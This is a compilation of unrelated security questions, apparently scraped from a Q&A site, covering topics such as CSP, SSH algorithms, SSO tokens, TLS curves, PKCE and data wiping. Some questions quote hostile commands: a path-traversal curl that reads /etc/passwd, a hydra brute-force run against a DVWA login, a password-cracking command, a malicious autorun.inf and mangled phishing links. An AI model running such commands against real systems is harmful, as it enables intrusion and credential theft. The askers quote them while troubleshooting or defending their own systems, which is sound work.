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I've been dealing with a hack on a site. I ended up wiping it and starting again - this was no loss as it was a small site and all content was backed up - took a couple of hours to get going again. I notice that the attackers were using many IP addresses that weren't theirs, so my question is how do they do this?
I recently wanted to transfer some data from my smartphone to my laptop via bluetooth. This requires pairing the devices first. In the bluetooth options I could see all the other bluetooth devices in range. I picked the correct one and click initiate pairing. I then get some pin code shown on both devices and if it matches I can confirm the pairing. What seemed odd (and inconvenient) to me is that I need to initiate the pairing on both devices in parallel. After clicking the button on one device it will try for a few seconds and I need to click initiate pairing on the other device as well within that time slot to get a successful pairing. This is not very user friendly. It would be much easier for me if after trying to initiate a pairing on one device I would get a popup message on the other one saying there is a bluetooth pairing attempt and asking me what to do with it. Is there any added security benefit from the dual initiation requirement compared to a popup message on one device? The comparision of the pin number would stay the same. I suspect it was designed that way on purpose but I don't see what the advantage is. I understand that I need to confirm the pairing on both devices. What I don't understand is the double initiation. I tell the smartphone to initiate a pairing with the laptop. The smartphone tries but so far the laptop does nothing and the smartphone will give up after a few seconds. To successfully pair them I need to also tell the laptop to initiate a pairing with the smartphone and do so while the smartphone is still trying. I was hoping the laptop would react to the pairing attempt from the smartphone and ask me what to do with it.
Google provides a CSP evaluator to validate if a given content-security policy is well set up (github, validator). However, if one uses 'unsafe-inline' in the style-src directive this is reported as 'all good' (See image below). Does this not (mostly) defeat the purpose of defining a style source? As far as I understand an attacker would be able to inject CSS. Not as big of an issue as JavaScript execution, but I would not report it with a green checkmark. What am I missing here?
Running on macOS, I see these available key algorithms: $ ssh -V OpenSSH_8.1p1, LibreSSL 2.7.3 $ ssh -Q key ssh-ed25519 ssh-ed25519-cert-v01@openssh.com ssh-rsa ssh-dss ecdsa-sha2-nistp256 ecdsa-sha2-nistp384 ecdsa-sha2-nistp521 ssh-rsa-cert-v01@openssh.com ssh-dss-cert-v01@openssh.com ecdsa-sha2-nistp256-cert-v01@openssh.com ecdsa-sha2-nistp384-cert-v01@openssh.com ecdsa-sha2-nistp521-cert-v01@openssh.com The only RSA algorithms are ssh-rsa and ssh-rsa-cert-v01@openssh.com. However, if I set this in my .ssh/config, there are no errors: Host * HostKeyAlgorithms rsa-sha2-512,rsa-sha2-256 But supplying garbage doesn't work, so these algorithms must be supported: Host * HostKeyAlgorithms foo $ ssh whatever /Users/scott/.ssh/config line 35: Bad key types 'foo'. Why are the rsa-sha2-512 and rsa-sha2-256 algorithms supported but not reported by ssh -Q key? Are there any other hidden algorithms that are supported? Is there any way to find them other than searching the source?
What must one do if they opened a malicious link? Warning: Please do not open the links below as they may be malicious. They have been deliberately mangled to prevent accidental opening I received an SMS from an Australian mobile number "Hello We have your package in queue: https://stone-static.rootedlabs.com/a.php?ipmh9o3" Analysis: https://cuckoo.ee/analysis/2383830/summary I got the same message from another number and it read: "Hello. We have your package in queue: https://eliquidhut.com/p.php?304ybfegx" Analysis: https://cuckoo.ee/analysis/2383864/summary These links redirected me to the same website which is the official Steam website (store.steampowered.com). It sometimes redirected me to the steam official website then sometimes to Huawei official website and sometimes to University of Michigan official website. I have moderately sensitive information stored on my devices such as bank passwords and emails. What steps should I take to ensure my device is not compromised?
I'm trying to figure out Bell-LaPadula model and am having a hard time with compartments. If Subject 1 is (SECRET, {C}) and they want to read Document 1 which is (UNCLASSIFIED, {A, B, C}), would they be able to? Read down is accepted in the Bell-LaPadula model and subject 1 has permission to read C, but not A or B. So I'm thinking Subject 1 cannot read Document 1 since Document 1 also contains A and B. Is this correct?
I had configured subdomains on a site to share forms authentication, however decisions were made to change one of websites over to a different domain. So now site A needs to send a user to the site B. Normally I would use something like Component Space to implement an SSO process for this, but this company doesn't already have access to any such library. So my boss came up with a home rolled process. For this particular application, the risk is so low that we really just need to do "something" so we can say "we secured it". So I'm happy to do whatever makes him happy to just get the project moving. Though I can see us potentially having another project in the future where security may be a bigger concern and the thought of reusing this code would come up. So any notes about the security risks of this process are certainly appreciated in case I need to bring them up at a later point in time. But really what I'm interested in at the moment is whether hashing is even providing a benefit in the following scenario: Domain A is secured by a login. Domain B uses the following process to "authenticate" the user. Logged in user navigates to a page on domain A and it generates a token/guid to store in the database which is associated with that user's id. User is redirected to domain B with query parameters in the url which include the customer's id and a hash of the token from step 1). Domain B looks to the database to find the token that was saved in step 1) and hashes it, verifying the hash is the same as the one provided in the url query parameter. Let's assume the token also expires after a period of time if not used. While hashing sort of obfuscates the token, does it actually make it any more secure or would you say it would be no less secure to simply pass the token itself and just check that the token exists in the database?
I have receive a USB, but I noticed that as soon as I connected it to my computer, a video of an organization is shown. Its like an informative video, it makes me think about nothing dangerous. But... I noticed that the USB has 2 partitions, one is recognized as a CD ROM and the other is just a normal USB partition. Once, I realized that I opened the CD Drive and I noticed that it has a very innocent looking video file, after that I enabled the option to view hidden files and just as I was expecting, I saw two hidden files. I received the USB a long time ago, I saw this before, so in the past I was able to change the video name, so I won't show it in the screenshot because the name of the video is not very respectful. In the past, I thought that I had removed the partition (don't remember what I did), but now as I am planning to use this USB, I noticed that it is still there. My main goal here is to remove that partition because I already checked the files on virustotal and they got detected. [autorun] open=laucher.exe icon= file0 = ******************.mov // I changed the file name for asterisks file1 = file2 = url0 = url1 = url2 = url3 = url4 = I think that I can disable the "thing" by changing the code in autorun.inf to not open the launcher.exe But files are protected Of course I tried to change the permissions of the files but I got this message: Yes, I tried to click continue but that just shows a new message: My main concern is: How do I remove that partition? But also I'd like to know what can happen to the devices that I've connected this USB to, what can I do to remove or revert any configurations changed by the .exe, how do I know if Im infected with something? Of course Im scanning my device with multiple software but I'd like to make sure by asking to the experts (you). Thanks in advance.
I like to play stuff like Minecraft Educational Edition with my friends after school but I'm not sure if the school will find out, since if they do, it might look bad for me. Will schools be able to see what I'm doing on their Chromebook including downloaded apps and how long I've been using it?
In TLS 1.2 / HTTP(S) context, plaintext target hostname could potentially leak in 3 different ways: In DNS query prior to TCP/TLS/HTTP connection. In TLS handshake, ClientHello message, in SNI extension. In HTTP Host header. DNS leakage can be prevented by using e.g. DoH/DoT. HTTP Host header leakage is prevented through TLS encryption. This leaves us with SNI leakage to address. Which proxy types prevent leaking plaintext SNI and how? Please note I'm asking explicitly about proxies, not ESNI, domain fronting or other similar means.
How does Chrome block all methods of code injection past version 78? It even blocks signed DLLs it doesn't have in a static list.
I believe it would violate all the three aspects due to following reasons: Confidentiality: Since the website is obviously a scam, in case any person/user registers it, the data of the user would not be confidential or would be up for sale or misused in some other way. Integrity: The data in the scam website would be definitely false or would have falsified data to mislead new users. Availability: the person who manages the scam website could shut the website whenever they would like. Hence the scam website violates the availability aspect. However, I also feel it would be violating only integrity as it is posting falsified data on the website to attract new users or to mislead them. I am new to this security field, please let me know if my assumption is wrong or additional points could be added/said.
Maybe my math is wrong, but here it goes. If I generate a private url to share an album in Google Photos, I get something like this https://photos.app.goo.gl/***************** where the asterisks are alphanumeric characters, case sensitive (total of 62 possible characters). The length of the secret part of the url is 17 characters long. My calculations tell me I get around 7*10^14 possible combinations. With a brute force approach, at a rate of 10 million attempts per second, I could get a list of all valid URLs of Google Photos in less than 3 years. This doesn't seem unguessable to me. Sure, my specific URL is still one in many valid URLs, but then anyone could browse through any private albums. Where is my logic flawed?
Every document that needs to be eIDAS compliant needs to have a qualified timestamp. If we take an email as a document, then the email, based on eIDAS regulations, needs to have an qualified timestamp issued by a qualified CA. As I know, no email client supports to add a qualified timestamp to an email. Is the email server sent timestamp enough ?
Lately, I've noticed a lot of FB notifications of friends asking stupid questions from other pages. The questions are usually along the lines of "What's the first movie you saw in the cinema?", "What's the next number in this sequence?", "What's a food you hated as a kid but love now?", etc., etc. I suspect these are just scams to get people's data, but can find no articles on this. A few years ago, it was easy to find long lists of all the data third parties collected when you joined their groups, but nothing like that comes up anymore in a Google search. (No doubt, FB has tweaked the search results.) Does anybody have any insights into the risk of answering those inane questions?
I have a simple Angular application and I deployed it on an Nginx server in a POD on a Kubernetes environment. I realised that I am now able to access the /etc/passwd file on the POD, without even having to login into the POD. Since this is the /etc/passwd file for a POD, should I be concerned? A sample command that I tried is curl http://test_k8s_route/\?../../../../../../../../../../../etc/passwd
I'm working on a project with a client based on mbedtls and a server built with vsftpd. I had basic RSA authentication working but am now upgrading to using the cipher TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256. And I am struggling to get it to work: I see the handshake taking place and server and client agree on the above cipher.I had validate_cert=YES in vsftpd.conf but it then would not be able to validate it and I got certificate verify failed errors in vsftpd.log. I decided to temporarily turn validation off (validate_cert=NO). I then saw the following error (in vsftpd.log) during the handshake: routines:tls12_check_peer_sigalg:wrong curve How do I make sure that my vsftpd works with the correct curve? openssl x509 -text gives me: NIST CURVE: P-384 for the ca-cert My certificate looks like: openssl x509 -text -in /path/to/ca-cert -noout Certificate: Data: Version: 3 (0x2) Serial Number: <Some hash> Signature Algorithm: ecdsa-with-SHA256 Issuer: C = CA, ST = BC, L = Town, O = Company, OU = Software, emailAddress = name@company.com, CN = va.company.com Validity Not Before: date/time GMT Not After : date/time GMT Subject: C = CA, ST = BC, L = Town, O = Company, OU = Software, emailAddress = name@company.com, CN = va.company.com Subject Public Key Info: Public Key Algorithm: id-ecPublicKey Public-Key: (384 bit) pub: <Some hash1> <Some hash2> <Some hash3> <Some hash4> <Some hash5> <Some hash6> <Some hash7> ASN1 OID: secp384r1 NIST CURVE: P-384 X509v3 extensions: X509v3 Basic Constraints: CA:TRUE X509v3 Subject Key Identifier: <Some hash8> Signature Algorithm: ecdsa-with-SHA256 <Some hash9> <Some hash10> <Some hash11> <Some hash12> <Some hash13> <Some hash14> The signature algorithms in the Client Hello, are the following: Extension: signature_algorithms (len=22) Type: signature_algorithms (13) Length: 22 Signature Hash Algorithms Length: 20 Signature Hash Algorithms (10 algorithms) Signature Algorithm: ecdsa_secp521r1_sha512 (0x0603) Signature Algorithm: rsa_pkcs1_sha512 (0x0601) Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503) Signature Algorithm: rsa_pkcs1_sha384 (0x0501) Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403) Signature Algorithm: rsa_pkcs1_sha256 (0x0401) Signature Algorithm: SHA224 ECDSA (0x0303) Signature Algorithm: SHA224 RSA (0x0301) Signature Algorithm: ecdsa_sha1 (0x0203) Signature Algorithm: rsa_pkcs1_sha1 (0x0201) And these are the ones listed in the Server Hello Done: Signature Hash Algorithms (23 algorithms) Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403) Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503) Signature Algorithm: ecdsa_secp521r1_sha512 (0x0603) Signature Algorithm: ed25519 (0x0807) Signature Algorithm: ed448 (0x0808) Signature Algorithm: rsa_pss_pss_sha256 (0x0809) Signature Algorithm: rsa_pss_pss_sha384 (0x080a) Signature Algorithm: rsa_pss_pss_sha512 (0x080b) Signature Algorithm: rsa_pss_rsae_sha256 (0x0804) Signature Algorithm: rsa_pss_rsae_sha384 (0x0805) Signature Algorithm: rsa_pss_rsae_sha512 (0x0806) Signature Algorithm: rsa_pkcs1_sha256 (0x0401) Signature Algorithm: rsa_pkcs1_sha384 (0x0501) Signature Algorithm: rsa_pkcs1_sha512 (0x0601) Signature Algorithm: SHA224 ECDSA (0x0303) Signature Algorithm: ecdsa_sha1 (0x0203) Signature Algorithm: SHA224 RSA (0x0301) Signature Algorithm: rsa_pkcs1_sha1 (0x0201) Signature Algorithm: SHA224 DSA (0x0302) Signature Algorithm: SHA1 DSA (0x0202) Signature Algorithm: SHA256 DSA (0x0402) Signature Algorithm: SHA384 DSA (0x0502) Signature Algorithm: SHA512 DSA (0x0602) I found the following: https://datatracker.ietf.org/doc/html/rfc5246#section-7.4.1.4.1
I generated two hashes from this site: Plaintext 1 (p1): world Salt 1 (s1): hello Hash 1 (h1): 936a185caaa266bb9cbe981e9e05cb78cd732b0b3280eb944412bb6f8f8f07af Plaintext 2 (p2): world2 Salt 2 (s2): hello2 Hash 2 (h2): 36d357c14829ba5bcb75d33c4edd3b7691fece0317ff898ce9709fb6911c9ab9 This is the content of hash.txt: username:936a185caaa266bb9cbe981e9e05cb78cd732b0b3280eb944412bb6f8f8f07af$hello username2:36d357c14829ba5bcb75d33c4edd3b7691fece0317ff898ce9709fb6911c9ab9$hello2 This is the content of dummy_wordlist.txt: world world2 world3 I use the command: john --format=dynamic_61 --wordlist dummy_wordlist.txt hash.txt Output is: PS C:\Users\user\Desktop> john --format=dynamic_61 --wordlist dummy_wordlist.txt hash.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (dynamic_61 [sha256($s.$p) 256/256 AVX2 8x]) Warning: no OpenMP support for this hash type, consider --fork=12 Press 'q' or Ctrl-C to abort, almost any other key for status world (username) 1g 0:00:00:00 DONE (2021-09-11 13:28) 333.3g/s 1182Kp/s 2302Kc/s 2302KC/s Hammer..sss Use the "--show --format=dynamic_61" options to display all of the cracked passwords reliably Session completed PS C:\Users\user\Desktop> However, on checking the cracked passwords, only one of them is visible: PS C:\Users\user\Desktop> john --show --format=dynamic_61 .\hash.txt username:world 1 password hash cracked, 1 left PS C:\Users\user\Desktop> I am not sure what I am doing wrong.
I was trying hydra out on DVWA login page, but it returned all 7 passwords correct, while only one was correct. Here is the command: hydra -l admin -P passlist.txt -V -I 192.168.70.130 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" Here is what it returns: Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-11 13:21:22 [DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task [DATA] attacking http-post-form://192.168.70.130:80/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed [ATTEMPT] target 192.168.70.130 - login "admin" - pass "p@ssw0rd" - 1 of 7 [child 0] (0/0) [ATTEMPT] target 192.168.70.130 - login "admin" - pass "mindukas1263" - 2 of 7 [child 1] (0/0) [ATTEMPT] target 192.168.70.130 - login "admin" - pass "kali" - 3 of 7 [child 2] (0/0) [ATTEMPT] target 192.168.70.130 - login "admin" - pass "password" - 4 of 7 [child 3] (0/0) [ATTEMPT] target 192.168.70.130 - login "admin" - pass "KasTauYra" - 5 of 7 [child 4] (0/0) [ATTEMPT] target 192.168.70.130 - login "admin" - pass "tunelis" - 6 of 7 [child 5] (0/0) [ATTEMPT] target 192.168.70.130 - login "admin" - pass "minduxas" - 7 of 7 [child 6] (0/0) [80][http-post-form] host: 192.168.70.130 login: admin password: p@ssw0rd [80][http-post-form] host: 192.168.70.130 login: admin password: mindukas1263 [80][http-post-form] host: 192.168.70.130 login: admin password: kali [80][http-post-form] host: 192.168.70.130 login: admin password: password [80][http-post-form] host: 192.168.70.130 login: admin password: KasTauYra [80][http-post-form] host: 192.168.70.130 login: admin password: tunelis [80][http-post-form] host: 192.168.70.130 login: admin password: minduxas 1 of 1 target successfully completed, 7 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-11 13:21:22 I've looked everywhere, but I can't find a solution.
If a rotational SAS drive (non-SSD) is encrypted after it has been in use for some time e.g. several years, is there a danger of a data leak? For example, if the drive is encrypted and subsequently formatted e.g. dd, can data be recovered? Update The suggested post by @vidarlo although helpful does not answer the question. @Rory McCune mentions that ATA secure erase support for SAS is unknown. It also mentions that destroying the encryption is an option. The answers however do not cover the following. If SAS drive was previously unencrypted and is subsequently encrypted, is there a data remanence a risk? If not, is dd sufficient?
The project pypasser claims to bypass "vulnerable" reCaptcha v3 sites. What vulnerability?
I held every chip (without desoldering, they were still onboard) in a lighter flame for a minute or two. They started "popping" a little if that indicates anything. Then I drove a nail into every chip (approximately through the center) with the use of a hammer. Obviously, before all of that, I did a software wipe - ATA Secure Erase using Parted Magic. If any data survived the process of Secure Erase (the drive was non-SED I am afraid, even though it was one of the newer ones), is physical destruction as described above sufficient to make any recovery attempt essentially impossible?
This question is about if any technologies used by a web browser (HTTP, TCP, JavaScript, etc.) can be used to push a binary file from the web server to a random folder on the client. This is for a security discussion at work about the dangers in web browser JavaScript. We already have Windows OS Script Host disabled on the machines so the OS-JavaScript/VBScript should not be a risk. And being that web browser JavaScript runs inside a sandbox, it should not be possible to use it save a random binary on the client machine, or am I wrong in this? Are any of the browser technologies a known vector for this?
I figure these as the ways to browse the web without exposing a manually operated computer's IP address: Proxy (such as "download from us" proxy) VPN TOR Using a remote GUI operating system (via, say, TeamViewer). There might be more ways but I don't know the professional terminology to look at some data about that.
Case 1: When user creates an account, a confirmation email is sent. Case 2: When user invites a coworker to his/her account, an invitation email is sent. Problem: If a user makes a typo in the email, it cannot be delivered. It might be more user-friendly to immediately show an error message to a user if this email cannot be delivered. So this user won't waste time waiting for this email and could fix the typo. The potential risk is that someone can use it to check for someone's else mailbox existence. But there are easier ways to check for email address existence, and with throttling, the risk can probably be mitigated. I wonder if I missed something from the security point of view.
Where can malware be stored online? I've looked at several websites about malware infection and it mentions things like drive-by downloads and exploit kits, but I can't see where the actual .exe, macro etc files are stored in the first place to be downloaded onto a user's device. Are they placed on servers online and linked to?
Note that this is a different case from similar question asked 7 years ago, here: hparm -I /dev/sda does not report a Security section - should I be concerned? In my case the SSD (part number: ct2000mx500ssd1) should support hardware AES encryption by specification, here: CRUCIAL® MX500SOLID STATE DRIVE Running hdparm -I /dev/sda returns following: /dev/sda: ATA device, with non-removable media Model Number: CT2000MX500SSD1 Serial Number: 1752E1091E21 Firmware Revision: M3CR010 Transport: Serial, ATA8-AST, SATA 1.0a, SATA II Extensions, SATA Rev 2.5, SATA Rev 2.6, SATA Rev 3.0 Standards: Used: unknown (minor revision code 0x006d) Supported: 10 9 8 7 6 5 Likely used: 10 Configuration: Logical max current cylinders 16383 0 heads 16 0 sectors/track 63 0 -- LBA user addressable sectors: 268435455 LBA48 user addressable sectors: 3907029168 Logical Sector size: 512 bytes Physical Sector size: 512 bytes Logical Sector-0 offset: 0 bytes device size with M = 1024*1024: 1907729 MBytes device size with M = 1000*1000: 2000398 MBytes (2000 GB) cache/buffer size = unknown Form Factor: 2.5 inch Nominal Media Rotation Rate: Solid State Device Capabilities: LBA, IORDY(can be disabled) Queue depth: 32 Standby timer values: spec'd by Standard, with device specific minimum R/W multiple sector transfer: Max = 1 Current = 1 Advanced power management level: 254 DMA: mdma0 mdma1 mdma2 udma0 udma1 udma2 udma3 udma4 udma5 *udma6 Cycle time: min=120ns recommended=120ns PIO: pio0 pio1 pio2 pio3 pio4 Cycle time: no flow control=120ns IORDY flow control=120ns Commands/features: Enabled Supported: * SMART feature set * Power Management feature set * Write cache * Look-ahead * WRITE_BUFFER command * READ_BUFFER command * NOP cmd * DOWNLOAD_MICROCODE * Advanced Power Management feature set * 48-bit Address feature set * Mandatory FLUSH_CACHE * FLUSH_CACHE_EXT * SMART error logging * SMART self-test * General Purpose Logging feature set * WRITE_{DMA|MULTIPLE}_FUA_EXT * 64-bit World wide name * WRITE_UNCORRECTABLE_EXT command * {READ,WRITE}_DMA_EXT_GPL commands * Segmented DOWNLOAD_MICROCODE unknown 119[8] * Gen1 signaling speed (1.5Gb/s) * Gen2 signaling speed (3.0Gb/s) * Gen3 signaling speed (6.0Gb/s) * Native Command Queueing (NCQ) * Phy event counters * READ_LOG_DMA_EXT equivalent to READ_LOG_EXT * DMA Setup Auto-Activate optimization Device-initiated interface power management * Software settings preservation Device Sleep (DEVSLP) * SMART Command Transport (SCT) feature set * SCT Features Control (AC4) * SCT Data Tables (AC5) * SANITIZE_ANTIFREEZE_LOCK_EXT command * SANITIZE feature set * CRYPTO_SCRAMBLE_EXT command * BLOCK_ERASE_EXT command * reserved 69[3] * reserved 69[4] * reserved 69[7] * DOWNLOAD MICROCODE DMA command * WRITE BUFFER DMA command * READ BUFFER DMA command * Data Set Management TRIM supported (limit 8 blocks) Logical Unit WWN Device Identifier: 500a0751e1091e21 NAA : 5 IEEE OUI : 00a075 Unique ID : 1e1091e21 Device Sleep: DEVSLP Exit Timeout (DETO): 100 ms (drive) Minimum DEVSLP Assertion Time (MDAT): 10 ms (drive) Checksum: correct hdparm version is 9.58, from live Linux Mint 20.2 Uma CD. Tested on two PCs, same result. Seriously, should I be concerned?
I am creating a web application that is sending sensitive data between servers. I need to take user inputted web form data from website 1 (abc.com) and post the data to website 2 (xyz.com/api). Website 2 will capture the data from website 1 and score it and then return a json response that will be published in the user's browser on website 1. Both websites will have https. An Asymmetric-Key using Open SSL will be used. Website 1 will use open ssl to encrypt all data with a generated public key before sending and website 2 will unlock data with private key known by website 1 and 2. With the transmission of the data, Website 1 will also send a signature with openssl_sign signed with the private key and that will be checked with a public key on website 2. Response from website 2's api will be sent back to Website 1 in json. Before website 2 processes the posted request, it will verify the domain is authorized, it will verify the signature with openssl_verify and will verify the timestamp is within limits. It will sanitize data before processing it into a database. In my application I have used php curl on website 1 to post to the api on website 2. In my below questions, assume the web form on Website 1 is using best practices for validation and to sanitize the inputted data. Here are my questions: Is this a secure model for a sever to server communication? Should I be considering other items? Do I need to be worried about the security of accepting post data from php curl? Instead of php curl what other methods can be used to post data to the api that may be more secure? Is it necessary to use open_ssl to encrypt the Json response from website 2 back to website 1? Is there a better model to accomplish the above?
Question Suppose you design a data lake with sensitive data. Due to immaturity of tools, dynamic data masking is unavailable. You have MFA, encryption at rest, audit logging, ETL processing data and people that develop/support/debug that ETL. The standard answer is a separation of concerns between developer and support engineer (no access to sensitive data from developer, only support engineer). But how to protect sensitive data from support engineer(s)? Considerations Support engineer need to debug issues, run jobs, etc. If ETL logic depends on sensistive data (i.e. join by IP address, or filter by medical status) this inherently mean support engineer has to have access to sensitive data. Column-level encryption (besides a lot of burden) looks to not solve the issue: deterministic encryption isn't secure, moreover support engineer has to have indirect access to decryption keys in order to run the jobs. Audit of queries also may not solve the issue, because query results may be downloaded.
For a web server, one can purchase a certificate from a CA to provide secure connection (server authentication and data encryption). But in cases of remote desktop apps like MS Remote Desktop or TeamViewer, how do they establish a secure connection between the remote client and the target PC? It seems in this case the target PC is a sort of server, so it must have a domain name and a certificate to provide TLS, right? But in most cases it is likely that the target PC does not have a domain name nor a certificate. Is there any other way to establish a secure connection in this case?
<?php include("https://example.com"); ?> I came across the opinion that including webpages in such pattern can be dangerous; further more, in XAMPP for windows php.ini there is allow_url_include=Off ; perhaps because some HTML files may include malicious JavaScript.
I've set up a firebase passport strategy on a NestJS server which works fine, but I did not like the long load times it would incur on all requests that went through it. So I decided to cache decoded tokens until they are expired, and this this massively reduced load times for valid and unexpired tokens. However, I am concerned that there might be security risks connected to this. Mostly because this seemed like such a simple addition to me, someone must have thought about it before. I assume the people who made the firebase sdk must have considered adding it as a feature, but why haven't they? For reference, here's the code for my passport strategy: @Injectable() export class FirebaseAuthStrategy extends PassportStrategy(Strategy, 'firebase-auth') { private defaultApp: any; constructor( private configService: ConfigService, @Inject(CACHE_MANAGER) private cacheManager: Cache ) { super({ jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken() }); const config = this.configService.get<string>('FIREBASE_CONFIG'); if (!config) { throw new Error('FIREBASE_CONFIG not available. Please ensure the variable is supplied in the `.env` file.'); } const firebase_params = JSON.parse(config); this.defaultApp = firebase.initializeApp({ credential: firebase.credential.cert(firebase_params) }); } async validate(token: string) { const cachedFirebaseUser = await this.cacheManager.get(token); if (cachedFirebaseUser) return cachedFirebaseUser; const firebaseUser: any = await this.defaultApp .auth() .verifyIdToken(token, true) .catch((err) => { console.log(err); throw new UnauthorizedException(err.Message); }); if (!firebaseUser) { throw new UnauthorizedException(); } /** * input parameter for `Date` or `moment` constructor is in milliseconds for unix timestamps. * input * 1000 will instantiate correct Date or moment value. * See here for reference: https://stackoverflow.com/a/45370395/5472560 */ const exp = moment(+firebaseUser['exp'] * 1000); const now = moment.now(); const ttl = exp.diff(now, 'seconds'); await this.cacheManager.set(token, firebaseUser, { ttl }); return firebaseUser; } }
I´m pentesting my first mobile application. I have a rooted android device and followed the steps here and here to install the certificate to proxy the traffic through Burp on my Laptop. But no requests show up. When I´m opening the app I have the option to either register (trying that throws the error message "User already exists", which is definitely not the case (triple checked that)) or login. I tried logging in with an account created on the webpage but the app throws a "User does not exist" error. When setting the proxy settings on the phone to none, both registration and logging in as existing user work fine. So my guess is the app is either using certificate pinning or there are some issues with the proxy settings or the certificate.
I would like to protect the data on my backup system, in case it gets (physically) stolen. I would encrypt the hard drives where the data resides. Since the backup system typically acts non-interactive (wake-on-lan and rsync/ssh), I would like to avoid entering a password each time it gets booted. What could be a suitable way to achieve this? I think I would need to have a keyfile that unlocks the encrypted drive, which does not reside on the backup system itself (unless it is fully encrypted, with the same boot/password problem). Are there any common strategies for this? I thought about having the keyfile stored on a 2nd machine on the local network that is running 24/7 (such as RaspberryPi), and is either fully encrypted or is standing in a different room. The backup system would mount the remote filesystem with the keyfile on it. Any drawbacks for this? The other 'solution' I thought of would be to not fully shutdown the backup machine after copying data, but just suspend it - which requires just occasionally entering a password.
I am learning smart contract programming on Ethereum (using Solidity) and realizing that security is highly important here. Why? Because of 2 reasons: they deal with high-stake financial transactions, and smart contracts are immutable once you deploy them. Hence, you have to be really sure about the safety of your code before deploying it. To ascertain this, several static analysis tools are being built and many researchers are actively publishing papers regarding their security. Now, the security of a smart contract ultimately boils down to safeguarding the internal private variables being changed by a "non-owner" (of the contract). There are several variables and functions, a few public entry-points into the smart contract, and you have to ensure that no entry point leads to malicious consequences. However, this kind of safeguarding sounds eerily familiar. Isn't that what we have been doing when designing web APIs or classes or RPCs or just any kind of architecture where calls from outside are being made to our internal code base? What exactly sets smart contracts apart in terms of security?
I just got a very phishy looking email from Vodafone. It had encoding errors and nothing more than my name in it. It asked me to confirm my email address and in order to do that I had to enter some contract details after clicking a link. It turned out to be genuine and was indeed about a product I recently ordered from them. Because it looked so phishy I had double checked that the domain was actually vodafone.de and that the certificate was issued by a trusted issuer. But it got me wondering - does that actually protect me from attacks like homograph attacks or overlong encoding attacks? Are certificate issuers bound to some standard about checking the domain name that they are signing?
I am curious whether someone could find out if a site hosted on GitHub Pages could be traced back to the user that published it. This is of course, assuming that: the GitHub repository containing the website’s file is private, the website is connected to a custom domain (using something like a CNAME record, rather than a redirect from example.com to user.github.io/secret-site), the GitHub account itself isn’t compromised.
What advantages users get, specifically, from 'PRIVACY' point-of-view? Can ISP still see and log browsing history? Can user's location be still traceable? What's the ultimate security & privacy level one can achieve by using Cloudflare's DNS in lieu of ISP's DNS?
What if any, are the security considerations of deciding to use an x64 vs x86 architecture?
I am writing a C program in which I have a client on a process and a server on another process on the same machine. I don't know much about IPC, I would like to have a "channel" that allows my two processes to communicate without any other process that can intercept (or sniff) the traffic nor write anything on that specific communication. Something like a private channel that only the two processes can use. Is it possible? I was looking at Unix Domain Socket, but as far as I know I can only control the access to the socket at user level (or user group). I would like to avoid encryption in the communication.
CONTEXT There is a SPA that uses Authorization Code Grant flow with PKCE to get info from an API all the info is highly sensitive RESEARCH Here is what I found of how Authorization Code Grant flow with PKCE works: THE FLOW v = code_verifier $ = code_challenge a = authorization_code THE PURPOSE In this article https://www.scottbrady91.com/oauth/client-authentication-vs-pkce said that PKCE is not enough and you need client authentication still PKCE helps protect you against various code injection attacks, but PKCE does not replace client authentication. and the purpose of PKCE is to ensure that all the requests come from the same client With PKCE, you prove that the same application is swapping the code as the one who requested it. WHAT I UNDERSTOOD PKCE is just to ensure that all the requests come from the same client, but it doesn't care if the client is authorized or not REMEMBER: The SPA can't use the backend, so all requests are exposed all the time I can't rely on SOP or CORS to block, you know that some clients like postman can overpass SOP and CORS The info is very sensitive, so only authorized clients can get the info, for example: https://authorized-third-party.com must be able to get his info, but http://fake-third-party.com must not be able to get the info QUESTIONS What will happen if someone authenticates using the SPA and get code_verifier (random string), code_challenge (hashed code verifier using SHA-256) and authorization code (or simply the token generated at the end of the grant flow) from the request by opening the web developer tools, Is he able to request the information in its own client using verifier, challenge and auth code to get the information? What is the real purpose of Authorization Code Grant flow with PKCE? Should include any additional grant flow? If so, which and how can I combine both? if PKCE purpose is not caring if the client is authorized or not, How can avoid unauthorized clients to get the info?
I work for a company with a large user base. There is a requirement to allow users to add printers to their laptops e.g. when working from home. What are the security risks? Is their a bad actor can use a printer to hack the laptop? Can a print driver elevate privileges and causes something bad to happen?
A roommate of mine asked me to connect a powerline adapter to the network. The ethernet cable of the adapter is connected to an Apple Airport Express router which is connected to a Frontier Internet cable modem. I have another router from Frontier connected to the Frontier Internet cable modem. Adapter > Airport > ISP Cable Modem > ISP router However all of the electric plugs for everything are plugged into a multi-outlet surge protector which in turn is plugged into the powerline adapter, and the powerline adapter is plugged into the home's wall outlet. So since my rudimentary understanding of a powerline adapter is that they use the electricity to transmit data, my question is does the person with the receiving end of the powerline adapter connection have an "easier" time sniffing traffic of a person connected to the Frontier router? (let's assume the person is practicing good wifi security and has a strong password, etc.). Mostly I'm worried by plugging the Frontier router power plug into the surge protector which in turn is plugged into the powerline adapter, I'm not really keeping the traffic "separated" and the roommate on the receiving end of the powerline adapter now will be able to "easily read" the traffic data going into/from the Frontier router.
